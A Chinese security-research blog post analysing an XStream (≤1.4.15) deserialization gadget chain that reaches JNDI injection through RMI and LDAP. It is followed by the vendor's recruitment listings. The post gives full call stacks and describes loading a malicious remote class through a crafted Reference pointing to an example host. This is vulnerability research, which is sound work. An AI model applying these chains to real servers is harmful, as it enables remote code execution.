XStream<=1.4.15-反序列化-JNDI注入

  • A+
所属分类:安全文章

[email protected]卫兵实验室

分析日期

2021/01/18

漏洞复现证明截图

XStream<=1.4.15-反序列化-JNDI注入

影响范围

XStream<=1.4.15

漏洞分析

年前找的一个链,前天害怕被撞就交了,结果今天就发了补丁,不过修的几个链跟我找的sink点和触发toString点都不一样,应该算一个新的CVE的,在这里给大家分享出来。

回顾下CVE-2020-26217的调用栈

com.thoughtworks.xstream.converters.collections.MapConverter#putCurrentEntryIntoMap    java.util.HashMap#put        java.util.HashMap#hash            jdk.nashorn.internal.objects.NativeString#hashCode                com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString                com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get                    com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom                        java.io.SequenceInputStream#read(byte[], int, int)                        java.io.SequenceInputStream#nextStream                            javax.swing.MultiUIDefaults.MultiUIDefaultsEnumerator#nextElement                                javax.imageio.spi.FilterIterator#next                                javax.imageio.spi.FilterIterator#advance                                    javax.imageio.ImageIO.ContainsFilter#filter                                        java.lang.ProcessBuilder#start

hashcode()->toString() 的入口 jdk.nashorn.internal.objects.NativeString 和 sink点 javax.imageio.ImageIO$ContainsFilter 都被加入到了黑名单中。

不过我们可以复用 java.io.SequenceInputStream#nextStream 去找新的sink点。

XStream<=1.4.15-反序列化-JNDI注入

RMI

com.sun.jndi.rmi.registry.BindingEnumeration

XStream<=1.4.15-反序列化-JNDI注入

ctxvar2 我们都可控,因此这里可以进行JNDI注入。不过 ctxcom.sun.jndi.rmi.registry.RegistryContext 类型的,我们只能打rmi的JNDI注入,继续找找看有没有ldap的。

LDAP

com.sun.jndi.ldap.LdapBindingEnumeration#createItem

XStream<=1.4.15-反序列化-JNDI注入

DirectoryManager.getObjectInstance 可以通过传入 Reference 对象来加载恶意class,var6、this.homeCtx、this.homeCtx.envprops、var2 我们都可控,回溯一下var4。

XStream<=1.4.15-反序列化-JNDI注入

跟进 decodeReference,由于 decodeObject 中的 var0 我们可控,最终可以让代码进入到 decodeReference 方法中,且 new Reference 的所有参数都可控,构造 new Reference("refClassName", "factoryClassName", "http://example.com:12345/") 传入 DirectoryManager.getObjectInstance 即可加载 http://example.com:12345/ 上名为 factoryClassName.class 的类,将恶意代码放入static代码块即可任意代码执行。

XStream<=1.4.15-反序列化-JNDI注入

com.sun.jndi.ldap.LdapBindingEnumeration 直接传过去会出现 this.data 不为null的情况,所以我用了 com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl 来间接调用 LdapBindingEnumeration#next 方法。 

XStream<=1.4.15-反序列化-JNDI注入

触发toString()

然后还有 toString 的入口,找了一圈所有类的 hashcode() 方法也没有找到能够触发 toString 的类,由于 SerializableConverter 支持调用 readObject 方法,前提是该类实现了 java.io.Serializable 接口(类的属性没有实现该接口依然可以被正常赋值),并且没有被之前的转换器捕获到,因此我们可以找找所有类的 readObject 方法。

XStream<=1.4.15-反序列化-JNDI注入

比较常用的是 javax.management.BadAttributeValueExpException#readObject ,但是该类继承了 Throwable ,会被 ThrowableConverter 补货到,无法被 SerializableConverter 解析。

XStream<=1.4.15-反序列化-JNDI注入

因此我们需要找一个新的类,我找到了一条可以用于Java原生反序列化触发 toString() 的链,这里暂不公开,下面是公开的几个CVE中用到的 toString 链。

java.util.PriorityQueue#readObject        ->java.util.PriorityQueue#heapify                ->java.util.PriorityQueue#siftDown                        ->java.util.PriorityQueue#siftDownUsingComparator                              ->javafx.collections.ObservableList#sorted()#compare()

XStream<=1.4.15-反序列化-JNDI注入

不过这个链只能用在XStream中而不能用在Java原生反序列化中的,因为 javafx.collections.ObservableList 没有实现序列化接口。

调用栈

RMI

java.util.PriorityQueue#readObject    java.util.PriorityQueue#heapify        java.util.PriorityQueue#siftDown            java.util.PriorityQueue#siftDownUsingComparator              javafx.collections.ObservableList#sorted()#compare()                  com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString                  com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get                  com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom                      java.io.SequenceInputStream#read(byte[], int, int)                      java.io.SequenceInputStream#nextStream                          com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#nextElement                              com.sun.jndi.rmi.registry.BindingEnumeration#next                                  RegistryContext.lookup

Ldap

java.util.PriorityQueue#readObject    java.util.PriorityQueue#heapify        java.util.PriorityQueue#siftDown            java.util.PriorityQueue#siftDownUsingComparator              javafx.collections.ObservableList#sorted()#compare()                  com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString                  com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get                  com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom                     java.io.SequenceInputStream#read(byte[], int, int)                     java.io.SequenceInputStream#nextStream                         com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#nextElement                             com.sun.jndi.ldap.AbstractLdapNamingEnumeration#next                                 com.sun.jndi.ldap.LdapBindingEnumeration#createItem                                     javax.naming.spi.DirectoryManager#getObjectInstance


关于我们

XStream<=1.4.15-反序列化-JNDI注入


人才招聘

二进制安全研究员

(Windows内核方向)

岗位职责:

- 负责研究Window内核相关漏洞利用技术;

- 负责分析Window内核漏洞的原理及缓解措施;


任职要求:

- 2年以上windows逆向工作经验。

- 熟悉windows底层架构、运行机制,熟悉汇编语言 C/C++语言,熟悉win32/64开发,并有相关开发经验;

- 熟悉windows驱动开发、熟悉windows平台内核架构;能熟练运用Windows平台下的软件调试方法。

- 熟练使用ida、windbg等调试软件工具调试分析漏洞。

- 有CVE编号、内核研究成果者优先;

- 具备良好的团队沟通、协作能力、良好的职业道德。

二进制安全研究员

(Linux内核方向)

岗位职责:

- 负责研究Linux内核相关漏洞利用技术;

- 负责分析Linux内核漏洞的原理及缓解措施;


任职要求:

- 2年以上Linux逆向工作经验。

- 熟悉Linux底层架构、运行机制,熟悉汇编语言 C/C++语言,熟悉x86/64开发,并有相关开发经验;

- 熟悉Linux驱动开发、熟悉Linux平台内核架构;能熟练运用Linux平台下的软件调试方法。

- 熟练使用ida、gdb、lldb等调试软件工具调试分析漏洞。

- 有CVE编号、内核研究成果者优先;

- 具备良好的团队沟通、协作能力、良好的职业道德。

二进制安全研究员

(系统应用方向)

岗位职责:

- 负责安全技术研究,跟踪国内外最新的安全技术以及安全漏洞的追踪;

- 负责进行二进制漏洞挖掘,包括不限于浏览器、chakara引擎、js引擎、office、pdf等等各种二进制类应用;


任职要求:

- 能主动关注国内外最新安全攻防技术,并在自己擅长和兴趣的领域能够进行深入的学习、研究;

- 熟练掌握windbg、ida、gdb等调试工具;

- 熟悉各类二进制安全漏洞原理(堆溢出、栈溢出、整数溢出、类型混淆等等)以及各种利用技术;

- 能够无障碍阅读英文技术文档;

- 具备良好的团队沟通、协作能力、良好的职业道德。

Web安全研究员

岗位职责:

- 跟踪最新安全技术动态,对高危安全漏洞进行快速分析和响应;

- 负责安全产品的线下、线上功能及流程的验收测试,保证项目进度和品质;

- 从事影响比较大的国内外大型的cms、中间件、框架漏洞挖掘工作


任职要求:

- 深入了解漏洞原理,能够独立挖掘/分析包括但不限于PHP/JAVA/.NET/ASP等大中型应用漏洞,并编写exp;

- 具备优秀的JAVA开发能力,能熟练挖掘 JAVA WEB 方面的漏洞,深入了解tomcat,weblogic,jboss,resin等中间件内部构造;

- 熟练使用至少一门开发语言,如:PHP、python、java;

- 有比较强的开发能力,熟悉java web的常见漏洞原理,有能力挖掘和分析java web方面的漏洞;

- 有重大漏洞发掘或高质量的CVE、0day挖掘能力的优先考虑;

Web安全研究员

(安全测试方向) 


岗位职责:

- 安全攻防技术研究,最新web应用及中间件漏洞挖掘研究;

- 跟踪分析国内外的安全动态,对重大安全事件进行快速响应;

- 针对相关产品,进行全面详细的安全测试评估;


任职要求:

- 了解常见的网络协议(TCP/IP,HTTP,FTP等);

- 熟练使用Wireshark等抓包工具,熟悉正则表达式;

- 掌握常见漏洞原理,有一定的漏洞分析能力;

- 具备php、python、java或其他相关语言编码能力;

- 对常见waf绕过有一定的基础经验;

- 具备一定的文档编写能力,具备良好的团队共同能力;

- 对安全有浓厚的兴趣,工作细致耐心。

高级攻防研究员

岗位职责:

- 负责完成定向渗透测试任务;

- 负责完成攻防溯源任务。


任职要求:

- 三年以上相关工作经验,若满足以下所有条件,则可忽略此要求;

- 熟练掌握Cobalt Strike、Empire、Metasploit等后渗透工具的使用;

- 具有完善的全流程渗透测试意识;

- 具有大型、复杂网络环境的渗透测试经验;

- 具有杀软、流量防护、终端防护等防护措施的对抗经验;

- 具有独立的漏洞挖掘、研究能力;

- 熟练掌握至少一门开发语言,包括不局限于C/C++、Java、PHP、Python、nodejs等;

- 具备攻防溯源经验;

- 良好的沟通能力和团队协作能力。


加分项:

- 红队工具开发经验;

- 有良好的技术笔记习惯。

攻防研究员


岗位职责:

- 负责完成定向渗透测试任务;

- 负责完成攻防溯源任务。


任职要求:

- 三年以上相关工作经验,若满足以下所有条件,则可忽略此要求;

- 熟练掌握Cobalt Strike、Empire、Metasploit等后渗透工具的使用;

- 具有完善的全流程渗透测试意识;

- 具有中小型和云环境的渗透测试经验;

- 具有独立的漏洞挖掘、研究能力;

- 熟练掌握至少一门开发语言,包括不局限于C/C++、Java、PHP、Python、nodejs等;

- 良好的沟通能力和团队协作能力。


加分项:

- 红队工具开发经验;

- 有良好的技术笔记习惯。

攻防研究开发工程师

岗位职责:

- 负责完成安全工具开发;

- 负责完成攻防专题研究。


任职要求:

- 三年以上相关工作经验,若满足以下所有条件,则可忽略此要求;

- 熟悉常见攻防工具的原理和使用

- 熟悉常见的攻防概念

- 有实际开发安全相关工具的经验

- 熟练掌握至少三门开发语言,包括不局限于C/C++、Java、PHP、Python、nodejs、golang等;

- 熟练掌握网络编程

- 具有杀软、流量防护、终端防护等防护措施的对抗经验;

- 了解linux、windows相关安全特性


加分项:

- 丰富的实战攻防经验;

- 有良好的技术笔记习惯。

感兴趣的小伙伴看这里!

感兴趣的小伙伴请联系姜女士,或将简历投送至下方邮箱。(请注明投递岗位及来源“研究院公众号”)

联系人:姜女士
邮箱:[email protected]

本文始发于微信公众号(安恒信息安全研究院):XStream<=1.4.15-反序列化-JNDI注入

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: